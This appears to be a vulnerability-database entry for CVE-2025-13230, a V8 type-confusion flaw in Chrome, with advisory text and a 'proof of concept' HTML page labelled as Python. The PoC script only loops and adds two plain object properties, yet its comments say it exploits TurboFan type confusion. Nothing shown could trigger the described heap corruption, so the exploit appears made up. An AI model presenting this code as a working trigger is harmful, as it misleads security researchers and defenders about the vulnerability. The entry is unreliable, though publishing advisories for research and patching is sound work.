Type Confusion in V8 in Google Chrome prior to 142.0.7444.59 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 142.0.7444.59
Chromium-based browsers with V8 engine < 142.0.7444.59
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-13230 PoC - Type Confusion in V8 -->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2025-13230 PoC</title>
</head>
<body>
<h1>CVE-2025-13230 Type Confusion PoC</h1>
<p>This is a demonstration of the V8 type confusion vulnerability.</p>
<script>
// PoC for CVE-2025-13230
// Type Confusion in V8 allows heap corruption
function triggerTypeConfusion() {
// Create objects with different hidden classes
let obj1 = {a: 1, b: 2};
let obj2 = {x: 1.5, y: 2.5};
// Use optimization-sensitive operations
for (let i = 0; i < 10000; i++) {
// Deoptimize and reoptimize
if (i % 100 === 0) {
obj1.a = Math.random();
}
}
// Trigger type confusion through aggressive optimization
// This exploits the type confusion in V8's TurboFan optimizer
let result = obj1.a + obj2.x;
return result;
}
// Execute the trigger function
try {
triggerTypeConfusion();
console.log('PoC executed - check for crashes');
} catch (e) {
console.log('Error: ' + e.message);
}
</script>
</body>
</html>